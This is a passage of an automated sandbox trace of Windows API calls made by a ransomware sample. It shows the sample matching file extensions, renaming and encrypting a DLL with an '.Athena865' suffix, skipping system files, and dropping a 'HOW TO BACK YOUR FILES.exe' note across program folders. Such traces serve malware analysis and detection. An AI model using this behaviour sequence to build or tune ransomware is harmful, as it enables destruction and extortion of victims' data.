lstrlenW (lpString="ecx") returned 3 [0093.055] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0093.055] lstrlenW (lpString="edb") returned 3 [0093.055] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0093.055] lstrlenW (lpString="epim") returned 4 [0093.055] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0093.055] lstrlenW (lpString="fcd") returned 3 [0093.055] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0093.055] lstrlenW (lpString="fdb") returned 3 [0093.055] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0093.055] lstrlenW (lpString="fic") returned 3 [0093.055] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0093.055] lstrlenW (lpString="flexolibrary") returned 12 [0093.055] lstrlenW (lpString="fm5") returned 3 [0093.055] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0093.055] lstrlenW (lpString="fmp") returned 3 [0093.055] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0093.055] lstrlenW (lpString="fmp12") returned 5 [0093.055] lstrcmpiW (lpString1="s.dll", lpString2="fmp12") returned 1 [0093.055] lstrlenW (lpString="fmpsl") returned 5 [0093.055] lstrcmpiW (lpString1="s.dll", lpString2="fmpsl") returned 1 [0093.055] lstrlenW (lpString="fol") returned 3 [0093.056] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0093.056] lstrlenW (lpString="fp3") returned 3 [0093.056] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0093.056] lstrlenW (lpString="fp4") returned 3 [0093.056] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0093.056] lstrlenW (lpString="fp5") returned 3 [0093.056] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0093.056] lstrlenW (lpString="fp7") returned 3 [0093.056] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0093.056] lstrlenW (lpString="fpt") returned 3 [0093.056] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0093.056] lstrlenW (lpString="frm") returned 3 [0093.056] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0093.056] lstrlenW (lpString="gdb") returned 3 [0093.056] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0093.056] lstrlenW (lpString="gdb") returned 3 [0093.056] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0093.056] lstrlenW (lpString="grdb") returned 4 [0093.056] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0093.056] lstrlenW (lpString="gwi") returned 3 [0093.056] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0093.056] lstrlenW (lpString="hdb") returned 3 [0093.056] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0093.056] lstrlenW (lpString="his") returned 3 [0093.056] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0093.056] lstrlenW (lpString="ib") returned 2 [0093.056] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0093.056] lstrlenW (lpString="idb") returned 3 [0093.056] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0093.057] lstrlenW (lpString="ihx") returned 3 [0093.057] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0093.057] lstrlenW (lpString="itdb") returned 4 [0093.057] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0093.057] lstrlenW (lpString="itw") returned 3 [0093.057] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0093.057] lstrlenW (lpString="jet") returned 3 [0093.057] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0093.057] lstrlenW (lpString="jtx") returned 3 [0093.057] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0093.057] lstrlenW (lpString="kdb") returned 3 [0093.057] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0093.057] lstrlenW (lpString="kexi") returned 4 [0093.057] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0093.057] lstrlenW (lpString="kexic") returned 5 [0093.057] lstrcmpiW (lpString1="s.dll", lpString2="kexic") returned 1 [0093.057] lstrlenW (lpString="kexis") returned 5 [0093.057] lstrcmpiW (lpString1="s.dll", lpString2="kexis") returned 1 [0093.057] lstrlenW (lpString="lgc") returned 3 [0093.057] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0093.057] lstrlenW (lpString="lwx") returned 3 [0093.057] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0093.057] lstrlenW (lpString="maf") returned 3 [0093.057] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0093.057] lstrlenW (lpString="maq") returned 3 [0093.057] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0093.057] lstrlenW (lpString="mar") returned 3 [0093.057] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0093.057] lstrlenW (lpString="marshal") returned 7 [0093.057] lstrcmpiW (lpString1="res.dll", lpString2="marshal") returned 1 [0093.057] lstrlenW (lpString="mas") returned 3 [0093.058] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0093.058] lstrlenW (lpString="mav") returned 3 [0093.058] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0093.058] lstrlenW (lpString="maw") returned 3 [0093.058] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0093.058] lstrlenW (lpString="mdbhtml") returned 7 [0093.058] lstrcmpiW (lpString1="res.dll", lpString2="mdbhtml") returned 1 [0093.058] lstrlenW (lpString="mdn") returned 3 [0093.058] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0093.058] lstrlenW (lpString="mdt") returned 3 [0093.058] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0093.058] lstrlenW (lpString="mfd") returned 3 [0093.058] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0093.058] lstrlenW (lpString="mpd") returned 3 [0093.058] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0093.058] lstrlenW (lpString="mrg") returned 3 [0093.058] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0093.058] lstrlenW (lpString="mud") returned 3 [0093.058] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0093.058] lstrlenW (lpString="mwb") returned 3 [0093.058] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0093.058] lstrlenW (lpString="myd") returned 3 [0093.058] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0093.058] lstrlenW (lpString="ndf") returned 3 [0093.058] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0093.058] lstrlenW (lpString="nnt") returned 3 [0093.058] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0093.058] lstrlenW (lpString="nrmlib") returned 6 [0093.058] lstrcmpiW (lpString1="es.dll", lpString2="nrmlib") returned -1 [0093.058] lstrlenW (lpString="ns2") returned 3 [0093.059] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0093.059] lstrlenW (lpString="ns3") returned 3 [0093.059] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0093.059] lstrlenW (lpString="ns4") returned 3 [0093.059] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0093.059] lstrlenW (lpString="nsf") returned 3 [0093.059] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0093.059] lstrlenW (lpString="nv") returned 2 [0093.059] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0093.059] lstrlenW (lpString="nv2") returned 3 [0093.059] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0093.059] lstrlenW (lpString="nwdb") returned 4 [0093.059] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0093.059] lstrlenW (lpString="nyf") returned 3 [0093.059] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0093.059] lstrlenW (lpString="odb") returned 3 [0093.059] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0093.059] lstrlenW (lpString="odb") returned 3 [0093.059] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0093.059] lstrlenW (lpString="oqy") returned 3 [0093.059] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0093.059] lstrlenW (lpString="ora") returned 3 [0093.059] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0093.059] lstrlenW (lpString="orx") returned 3 [0093.059] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0093.059] lstrlenW (lpString="owc") returned 3 [0093.059] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0093.059] lstrlenW (lpString="p96") returned 3 [0093.059] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0093.059] lstrlenW (lpString="p97") returned 3 [0093.060] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0093.060] lstrlenW (lpString="pan") returned 3 [0093.060] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0093.060] lstrlenW (lpString="pdb") returned 3 [0093.060] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0093.060] lstrlenW (lpString="pdm") returned 3 [0093.060] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0093.060] lstrlenW (lpString="pnz") returned 3 [0093.060] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0093.060] lstrlenW (lpString="qry") returned 3 [0093.060] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0093.060] lstrlenW (lpString="qvd") returned 3 [0093.060] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0093.060] lstrlenW (lpString="rbf") returned 3 [0093.060] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0093.060] lstrlenW (lpString="rctd") returned 4 [0093.060] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0093.060] lstrlenW (lpString="rod") returned 3 [0093.060] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0093.060] lstrlenW (lpString="rodx") returned 4 [0093.060] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0093.060] lstrlenW (lpString="rpd") returned 3 [0093.060] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0093.060] lstrlenW (lpString="rsd") returned 3 [0093.060] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0093.060] lstrlenW (lpString="sas7bdat") returned 8 [0093.060] lstrcmpiW (lpString1="2res.dll", lpString2="sas7bdat") returned -1 [0093.060] lstrlenW (lpString="sbf") returned 3 [0093.060] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0093.061] lstrlenW (lpString="scx") returned 3 [0093.061] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0093.061] lstrlenW (lpString="sdb") returned 3 [0093.061] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0093.061] lstrlenW (lpString="sdc") returned 3 [0093.061] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0093.061] lstrlenW (lpString="sdf") returned 3 [0093.061] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0093.061] lstrlenW (lpString="sis") returned 3 [0093.061] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0093.061] lstrlenW (lpString="spq") returned 3 [0093.061] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0093.061] lstrlenW (lpString="te") returned 2 [0093.061] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0093.061] lstrlenW (lpString="teacher") returned 7 [0093.061] lstrcmpiW (lpString1="res.dll", lpString2="teacher") returned -1 [0093.061] lstrlenW (lpString="tmd") returned 3 [0093.061] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0093.061] lstrlenW (lpString="tps") returned 3 [0093.061] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0093.061] lstrlenW (lpString="trc") returned 3 [0093.061] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0093.061] lstrlenW (lpString="trc") returned 3 [0093.061] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0093.061] lstrlenW (lpString="trm") returned 3 [0093.061] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0093.061] lstrlenW (lpString="udb") returned 3 [0093.061] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0093.061] lstrlenW (lpString="udl") returned 3 [0093.061] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0093.062] lstrlenW (lpString="usr") returned 3 [0093.062] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0093.062] lstrlenW (lpString="v12") returned 3 [0093.062] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0093.062] lstrlenW (lpString="vis") returned 3 [0093.062] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0093.062] lstrlenW (lpString="vpd") returned 3 [0093.062] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0093.062] lstrlenW (lpString="vvv") returned 3 [0093.062] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0093.062] lstrlenW (lpString="wdb") returned 3 [0093.062] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0093.062] lstrlenW (lpString="wmdb") returned 4 [0093.062] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0093.062] lstrlenW (lpString="wrk") returned 3 [0093.062] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0093.062] lstrlenW (lpString="xdb") returned 3 [0093.062] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0093.062] lstrlenW (lpString="xld") returned 3 [0093.062] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0093.062] lstrlenW (lpString="xmlff") returned 5 [0093.062] lstrcmpiW (lpString1="s.dll", lpString2="xmlff") returned -1 [0093.062] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Common Files\\System\\wab32res.dll.Athena865") returned 65 [0093.062] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files (x86)\\common files\\system\\wab32res.dll"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\System\\wab32res.dll.Athena865" (normalized: "c:\\program files (x86)\\common files\\system\\wab32res.dll.athena865"), dwFlags=0x1) returned 1 [0093.063] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\wab32res.dll.Athena865" (normalized: "c:\\program files (x86)\\common files\\system\\wab32res.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0093.063] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1098752) returned 1 [0093.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0093.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0093.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0093.064] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0093.064] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0093.064] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.065] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10c700, lpName=0x0) returned 0x154 [0093.066] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10c700) returned 0x2d50000 [0093.113] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0093.114] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0093.114] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0093.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0093.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0093.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0093.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0093.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0093.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0093.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0093.114] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0093.124] CloseHandle (hObject=0x154) returned 1 [0093.124] CloseHandle (hObject=0x17c) returned 1 [0093.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0093.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0093.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0093.128] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d923a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8d4d923a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf37f6470, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0093.128] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0093.128] ReleaseMutex (hMutex=0xec) returned 1 [0093.129] CloseHandle (hObject=0xec) returned 1 [0093.129] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Google\\Chrome" | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome") returned="C:\\Program Files (x86)\\Google\\Chrome" [0093.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516268 | out: hHeap=0x4f0000) returned 1 [0093.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c548 | out: hHeap=0x4f0000) returned 1 [0093.129] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome") returned 36 [0093.129] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\FFBA6609DD732FC6474DA3C72067CFF8") returned 0xec [0093.129] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0093.129] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Google\\Chrome" | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome") returned="C:\\Program Files (x86)\\Google\\Chrome" [0093.129] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0093.129] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\how to back your files.exe"), bFailIfExists=1) returned 0 [0093.130] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0093.130] GetLastError () returned 0x0 [0093.130] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0093.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53cd08 [0093.130] ReadFile (in: hFile=0xf4, lpBuffer=0x53cd08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53cd08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0093.131] CloseHandle (hObject=0xf4) returned 1 [0093.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53cd08 | out: hHeap=0x4f0000) returned 1 [0093.131] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0093.131] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc0c1b6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0c1b6a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0093.131] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0093.131] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0093.131] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0093.131] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc0c1b6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0c1b6a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.131] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0093.131] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0093.131] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0093.131] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0093.131] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 1 [0093.131] lstrcmpiW (lpString1="Application", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0093.132] lstrcmpiW (lpString1="Application", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0093.132] lstrcmpiW (lpString1="Application", lpString2=".") returned 1 [0093.132] lstrcmpiW (lpString1="Application", lpString2="..") returned 1 [0093.132] lstrcmpiW (lpString1="Application", lpString2="windows") returned -1 [0093.132] lstrcmpiW (lpString1="Application", lpString2="bootmgr") returned -1 [0093.132] lstrcmpiW (lpString1="Application", lpString2="temp") returned -1 [0093.132] lstrcmpiW (lpString1="Application", lpString2="pagefile.sys") returned -1 [0093.132] lstrcmpiW (lpString1="Application", lpString2="boot") returned -1 [0093.132] lstrcmpiW (lpString1="Application", lpString2="ids.txt") returned -1 [0093.132] lstrcmpiW (lpString1="Application", lpString2="ntuser.dat") returned -1 [0093.132] lstrcmpiW (lpString1="Application", lpString2="perflogs") returned -1 [0093.132] lstrcmpiW (lpString1="Application", lpString2="MSBuild") returned -1 [0093.132] lstrlenW (lpString="Application") returned 11 [0093.132] lstrcpyW (in: lpString1=0x241e892, lpString2="Application" | out: lpString1="Application") returned="Application" [0093.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c548 [0093.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x53a8f0 [0093.132] lstrcatW (in: lpString1="Application", lpString2="\\" | out: lpString1="Application\\") returned="Application\\" [0093.132] lstrcatW (in: lpString1="Application\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application\\HOW TO BACK YOUR FILES.exe") returned="Application\\HOW TO BACK YOUR FILES.exe" [0093.132] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\how to back your files.exe"), bFailIfExists=1) returned 1 [0093.135] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0c1b6a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc0c1b6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0093.135] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0093.135] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0c1b6a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc0c1b6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0093.135] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0093.135] ReleaseMutex (hMutex=0xec) returned 1 [0093.135] CloseHandle (hObject=0xec) returned 1 [0093.135] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Google\\CrashReports" | out: lpString1="C:\\Program Files (x86)\\Google\\CrashReports") returned="C:\\Program Files (x86)\\Google\\CrashReports" [0093.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f9e0 | out: hHeap=0x4f0000) returned 1 [0093.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f8c8 | out: hHeap=0x4f0000) returned 1 [0093.135] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\CrashReports") returned 42 [0093.135] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\6158225498C04DE00965A0A18C4BE821") returned 0xec [0093.135] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0093.135] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Google\\CrashReports" | out: lpString1="C:\\Program Files (x86)\\Google\\CrashReports") returned="C:\\Program Files (x86)\\Google\\CrashReports" [0093.135] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0093.135] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\CrashReports\\HOW TO BACK YOUR FILES.exe" 